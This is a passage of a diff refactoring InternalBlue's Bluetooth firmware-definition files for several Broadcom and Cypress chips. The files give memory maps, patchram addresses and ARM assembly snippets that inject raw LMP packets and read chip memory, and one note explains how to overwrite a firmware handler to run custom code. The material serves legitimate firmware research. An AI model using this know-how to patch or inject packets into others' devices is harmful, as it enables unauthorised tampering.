|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM2046(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM2046" # iMac 2009
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x3FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x89FFF, False, True), # Internal RAM
|
||||
]
|
||||
@@ -1,13 +1,13 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x6119.py
|
||||
# fw_0x2209.py
|
||||
#
|
||||
# All firmware specific data such as address offsets are collected
|
||||
# in the fw.py file. Later versions of the framework will provide
|
||||
# multiple copies of this file in order to target different firmware
|
||||
# and chip versions.
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
@@ -25,75 +25,72 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
# Firmware Infos
|
||||
# This runs on Rasperry Pi 3
|
||||
from builtins import object
|
||||
FW_NAME = "BCM43430A1"
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x20401C
|
||||
BD_ADDR = 0x201C64
|
||||
|
||||
# Memory Sections
|
||||
class MemorySection(object):
|
||||
def __init__(self, start_addr, end_addr, is_rom, is_ram):
|
||||
self.start_addr = start_addr
|
||||
self.end_addr = end_addr
|
||||
self.is_rom = is_rom
|
||||
self.is_ram = is_ram
|
||||
class BCM43430A1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# This runs on Rasperry Pi 3
|
||||
FW_NAME = "BCM43430A1"
|
||||
|
||||
def size(self):
|
||||
return self.end_addr - self.start_addr
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x20401C
|
||||
BD_ADDR = 0x201C64
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
|
||||
MemorySection(0xd0000, 0xd8000, False, True ),
|
||||
#MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x21ffff, False, True ),
|
||||
#MemorySection(0x260000, 0x268000, True , False), # might crash? issue 14
|
||||
#MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
#MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x90000, True, False),
|
||||
MemorySection(0xD0000, 0xD8000, False, True),
|
||||
# MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x21FFFF, False, True),
|
||||
# MemorySection(0x260000, 0x268000, True , False), # might crash? issue 14
|
||||
# MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
# MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
|
||||
# Connection Structure and Table
|
||||
#CONNECTION_LIST_ADDRESS = 0x204ba8
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x150 # TODO
|
||||
# Connection Structure and Table
|
||||
# CONNECTION_LIST_ADDRESS = 0x204ba8
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x150 # TODO
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = False
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
# Heap
|
||||
BLOC_HEAD = 0x200588 # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
# Heap
|
||||
BLOC_HEAD = 0x200588 # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
# Snippet for sendLcpPacket()
|
||||
SENDLCP_CODE_BASE_ADDRESS = 0x21a000
|
||||
SENDLCP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
|
||||
// we want to call lmulp_sendLcp(conn_index, input, length)
|
||||
|
||||
mov r0, %d // connection index, starts at 0
|
||||
ldr r1, =payload
|
||||
mov r2, %d // length
|
||||
bl 0x8389A // lmulp_sendLcp
|
||||
|
||||
pop {r4,pc} // go back
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
# Enable enhanced advertisement reports (bEnhancedAdvReport) - TODO untested
|
||||
ENHANCED_ADV_REPORT_ADDRESS = Address(0x202980)
|
||||
|
||||
# Snippet for sendLcpPacket()
|
||||
SENDLCP_CODE_BASE_ADDRESS = 0x21A000
|
||||
SENDLCP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
|
||||
// we want to call lmulp_sendLcp(conn_index, input, length)
|
||||
|
||||
mov r0, %d // connection index, starts at 0
|
||||
ldr r1, =payload
|
||||
mov r2, %d // length
|
||||
bl 0x8389A // lmulp_sendLcp
|
||||
|
||||
pop {r4,pc} // go back
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
@@ -21,26 +20,27 @@ from __future__ import absolute_import
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW20706
|
||||
FW_NAME = "CYW20706"
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x000c7fff, True, False), # Internal ROM
|
||||
MemorySection(0x000d0000, 0x000dffff, False, True ),
|
||||
MemorySection(0x00200000, 0x00247fff, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
#PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
#PATCHRAM_VALUE_TABLE_ADDRESS = 0x0d0000
|
||||
#PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = True
|
||||
# only seems to work 4-byte aligned here ...
|
||||
class CYW20706(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW20706
|
||||
FW_NAME = "CYW20706"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x000C7FFF, True, False), # Internal ROM
|
||||
MemorySection(0x000D0000, 0x000DFFFF, False, True),
|
||||
MemorySection(0x00200000, 0x00247FFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
# PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
# PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
# PATCHRAM_VALUE_TABLE_ADDRESS = 0x0d0000
|
||||
# PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = True
|
||||
# only seems to work 4-byte aligned here ...
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
from __future__ import absolute_import
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
@@ -21,27 +20,57 @@ from __future__ import absolute_import
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920819
|
||||
FW_NAME = "CYW20819A1"
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00310000, 0x00321fff, False, True), # HW Regs Cortex M3 (readable)
|
||||
]
|
||||
class CYW20819A1(FirmwareDefinition):
|
||||
"""
|
||||
CYW20819 is a Cypress evaluation board, the newest one that is currently available.
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
Known issues:
|
||||
|
||||
* `Launch_RAM` does not terminate and crashes the board.
|
||||
|
||||
To get this working anyway:
|
||||
The `Launch_RAM` handler HCI callback is at `0xF2884` and it can be overwritten with the
|
||||
address of the memory snippet you want to launch. For example, at `0x219000` there is some
|
||||
free memory. Put the function there. Then:
|
||||
|
||||
`internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
|
||||
"""
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920819
|
||||
FW_NAME = "CYW20819A1"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(
|
||||
0x00270000, 0x0027FFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00310000, 0x00321FFF, False, True), # HW Regs Cortex M3 (readable)
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0xF2884
|
||||
HCI_EVENT_COMPLETE = 0x1179E
|
||||
|
||||
# Enable enhanced advertisement reports (bEnhancedAdvReport)
|
||||
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20294C)
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# fw_0x220e.py
|
||||
#
|
||||
@@ -22,21 +22,22 @@
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20702A1 (USB Bluetooth dongle)"
|
||||
|
||||
# Device Infos
|
||||
#DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
#BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
class BCM20702A1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20702A1" # (USB Bluetooth dongle)
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x5ffff, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x9bfff, False, True), # Internal RAM
|
||||
]
|
||||
BLOC_HEAD = 0x3166c
|
||||
# Device Infos
|
||||
# DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
# BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x5FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x9BFFF, False, True), # Internal RAM
|
||||
]
|
||||
BLOC_HEAD = 0x3166C
|
||||
|
||||
@@ -1,9 +1,5 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_default.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
@@ -23,26 +19,29 @@
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20703A2 (MacBook Pro 2016)"
|
||||
|
||||
# Symbols contained in:
|
||||
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/BLD_ROM/A_20703A2/20703.symdefs
|
||||
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/tier2/brcm/wiced_uart/bld/A_20703A2/20703_ram_ext.lst
|
||||
class BCM20703A2(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20703A2 (MacBook Pro 2016)"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0xc7fff, True, False), #0x000c0a97
|
||||
MemorySection(0xd0000, 0xe0000, False, False), #0x000dd78c
|
||||
MemorySection(0x200000, 0x240000, False, True ), #0x00217a38
|
||||
MemorySection(0x260000, 0x268fff, True, False), #0x0026841d
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x338000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False)
|
||||
]
|
||||
# Symbols contained in:
|
||||
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/BLD_ROM/A_20703A2/20703.symdefs
|
||||
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/tier2/brcm/wiced_uart/bld/A_20703A2/20703_ram_ext.lst
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0xC7FFF, True, False), # 0x000c0a97
|
||||
MemorySection(0xD0000, 0xE0000, False, False), # 0x000dd78c
|
||||
MemorySection(0x200000, 0x240000, False, True), # 0x00217a38
|
||||
MemorySection(0x260000, 0x268FFF, True, False), # 0x0026841d
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x338000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
]
|
||||
|
||||
+133
-130
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw.py
|
||||
#
|
||||
@@ -26,145 +26,148 @@
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# This runs on Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge
|
||||
FW_NAME = "BCM4358A3"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x213994 # [type: 1byte] [len: 1byte] [name: len byte] #works
|
||||
BD_ADDR = 0x201C48 #works
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x9ef00, True , False),
|
||||
MemorySection(0xd0000, 0xd8000, False, True ), # Patchram values with actual code / hooks
|
||||
#MemorySection(0xe0000, 0x1e0000, True , False), # all zero
|
||||
MemorySection(0x200000, 0x22a000, False, True ),
|
||||
MemorySection(0x260000, 0x268000, True , False),
|
||||
#MemorySection(0x280000, 0x2a0000, True , False), # all zero
|
||||
MemorySection(0x300000, 0x301000, False, False),
|
||||
MemorySection(0x310000, 0x318000, False, True ), # Patchram addresses
|
||||
MemorySection(0x318000, 0x322000, False, False),
|
||||
MemorySection(0x324000, 0x368000, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
#MemorySection(0x680000, 0x800000, False, False)
|
||||
#MemorySection(0x770000, 0x78ffff, False, False), #TODO maybe more, but all zero
|
||||
]
|
||||
class BCM4358A3(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# This runs on Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge
|
||||
FW_NAME = "BCM4358A3"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x213994 # [type: 1byte] [len: 1byte] [name: len byte] #works
|
||||
BD_ADDR = 0x201C48 # works
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x9EF00, True, False),
|
||||
MemorySection(
|
||||
0xD0000, 0xD8000, False, True
|
||||
), # Patchram values with actual code / hooks
|
||||
# MemorySection(0xe0000, 0x1e0000, True , False), # all zero
|
||||
MemorySection(0x200000, 0x22A000, False, True),
|
||||
MemorySection(0x260000, 0x268000, True, False),
|
||||
# MemorySection(0x280000, 0x2a0000, True , False), # all zero
|
||||
MemorySection(0x300000, 0x301000, False, False),
|
||||
MemorySection(0x310000, 0x318000, False, True), # Patchram addresses
|
||||
MemorySection(0x318000, 0x322000, False, False),
|
||||
MemorySection(0x324000, 0x368000, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
# MemorySection(0x680000, 0x800000, False, False)
|
||||
# MemorySection(0x770000, 0x78ffff, False, False), #TODO maybe more, but all zero
|
||||
]
|
||||
|
||||
# Connection Struct and Table
|
||||
|
||||
# Nexus 6P works differently:
|
||||
# address 0x21AD5C holds a list with pointers to connection structs!
|
||||
# CONNECTION_ARRAY_ADDRESS = 0x21ad88 #potentially the first valid address... but not part of an array
|
||||
# CONNECTION_ARRAY_SIZE = 11 #is still 11 for Nexus 6P, but no longer hard-coded
|
||||
CONNECTION_LIST_ADDRESS = 0x21AD5C
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x168 # ??
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False # we can use standard ReadRAM HCI on Nexus 6P
|
||||
|
||||
LAUNCH_RAM_PAUSE = 8 # bugfix: pause between multiple readMemAligned() calls in seconds
|
||||
# not a problem: doing multiple writeMem in a row
|
||||
# the thing that crashes: executing multiple launchRam() in a row: sendhcicmd 0xfc4e 0x473CC
|
||||
# crashes even when executing 0x5E860 twice, which is just a nullsub
|
||||
# also crashes during the pause if there are other hci events
|
||||
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0x260B84 # TODO this one needs to be handed with a "branch" (without link) instead of sub+1
|
||||
HCI_EVENT_COMPLETE = 0x229C
|
||||
|
||||
# Snippet for sendLmpPacket()
|
||||
SENDLMP_CODE_BASE_ADDRESS = 0xD5130
|
||||
# TODO already works except for correct mac address - so still a problem with the connection #
|
||||
SENDLMP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x3AAA8 // malloc_0x20_bloc_buffer_memzero
|
||||
mov r4, r0 // store buffer for LMP packet inside r4
|
||||
|
||||
// fill buffer
|
||||
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
// The first 12 bytes are (supposely?) unused and remain zero.
|
||||
ldr r1, =payload // LMP packet is stored at the end of the snippet
|
||||
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
|
||||
// function will use the LMP opcode to lookup the actual size and
|
||||
// use it for actually transmitting the correct number of bytes.
|
||||
bl 0x63900+1 // memcpy
|
||||
|
||||
// load conn struct pointer (needed for determine if we are master or slave)
|
||||
mov r0, %d // connection number is injected by sendLmpPacket()
|
||||
bl 0x473CC // find connection struct from conn nr (r0 will hold pointer to conn struct) //FIXME
|
||||
//FIXME: mac address is always 1f:8d:00:00:00:00
|
||||
|
||||
// set tid bit if we are the slave
|
||||
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
|
||||
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
|
||||
eor r1, 0x1 // invert and isolate the bit to get the correct value for the TID bit
|
||||
and r1, 0x1
|
||||
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
|
||||
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
|
||||
// the LSB (least significant bit) of this shifted opcode byte.
|
||||
orr r2, r1 // insert the TID bit into the byte
|
||||
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
|
||||
|
||||
|
||||
# Connection Struct and Table
|
||||
// send LMP packet
|
||||
mov r1, r4 // load the address of the LMP packet buffer into r1.
|
||||
// r0 still contains the connection number.
|
||||
pop {r4,lr} // restore r4 and the lr
|
||||
b 0xAF4C // branch to send_LMP_packet. send_LMP_packet will do the return for us.
|
||||
|
||||
# Nexus 6P works differently:
|
||||
# address 0x21AD5C holds a list with pointers to connection structs!
|
||||
# CONNECTION_ARRAY_ADDRESS = 0x21ad88 #potentially the first valid address... but not part of an array
|
||||
# CONNECTION_ARRAY_SIZE = 11 #is still 11 for Nexus 6P, but no longer hard-coded
|
||||
CONNECTION_LIST_ADDRESS = 0x21AD5C
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x168 #??
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False #we can use standard ReadRAM HCI on Nexus 6P
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0xD5030
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r1, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r2, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r2, 4 // + 'READ'
|
||||
mov r0, r2
|
||||
adds r0, #2 // r0 needs to be 2 higher than r2 in all malloc_hci_event_buffer calls
|
||||
bl 0x22C4 // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
LAUNCH_RAM_PAUSE = 8 # bugfix: pause between multiple readMemAligned() calls in seconds
|
||||
# not a problem: doing multiple writeMem in a row
|
||||
# the thing that crashes: executing multiple launchRam() in a row: sendhcicmd 0xfc4e 0x473CC
|
||||
# crashes even when executing 0x5E860 twice, which is just a nullsub
|
||||
# also crashes during the pause if there are other hci events
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 10 // write after the length field (offset 10 in event struct)
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
# Snippet for sendLmpPacket()
|
||||
SENDLMP_CODE_BASE_ADDRESS = 0xd5130
|
||||
#TODO already works except for correct mac address - so still a problem with the connection #
|
||||
SENDLMP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x3AAA8 // malloc_0x20_bloc_buffer_memzero
|
||||
mov r4, r0 // store buffer for LMP packet inside r4
|
||||
pop {r4, lr} // return
|
||||
b 0x20F4 // send_hci_event()
|
||||
|
||||
// fill buffer
|
||||
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
// The first 12 bytes are (supposely?) unused and remain zero.
|
||||
ldr r1, =payload // LMP packet is stored at the end of the snippet
|
||||
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
|
||||
// function will use the LMP opcode to lookup the actual size and
|
||||
// use it for actually transmitting the correct number of bytes.
|
||||
bl 0x63900+1 // memcpy
|
||||
|
||||
// load conn struct pointer (needed for determine if we are master or slave)
|
||||
mov r0, %d // connection number is injected by sendLmpPacket()
|
||||
bl 0x473CC // find connection struct from conn nr (r0 will hold pointer to conn struct) //FIXME
|
||||
//FIXME: mac address is always 1f:8d:00:00:00:00
|
||||
|
||||
// set tid bit if we are the slave
|
||||
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
|
||||
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
|
||||
eor r1, 0x1 // invert and isolate the bit to get the correct value for the TID bit
|
||||
and r1, 0x1
|
||||
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
|
||||
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
|
||||
// the LSB (least significant bit) of this shifted opcode byte.
|
||||
orr r2, r1 // insert the TID bit into the byte
|
||||
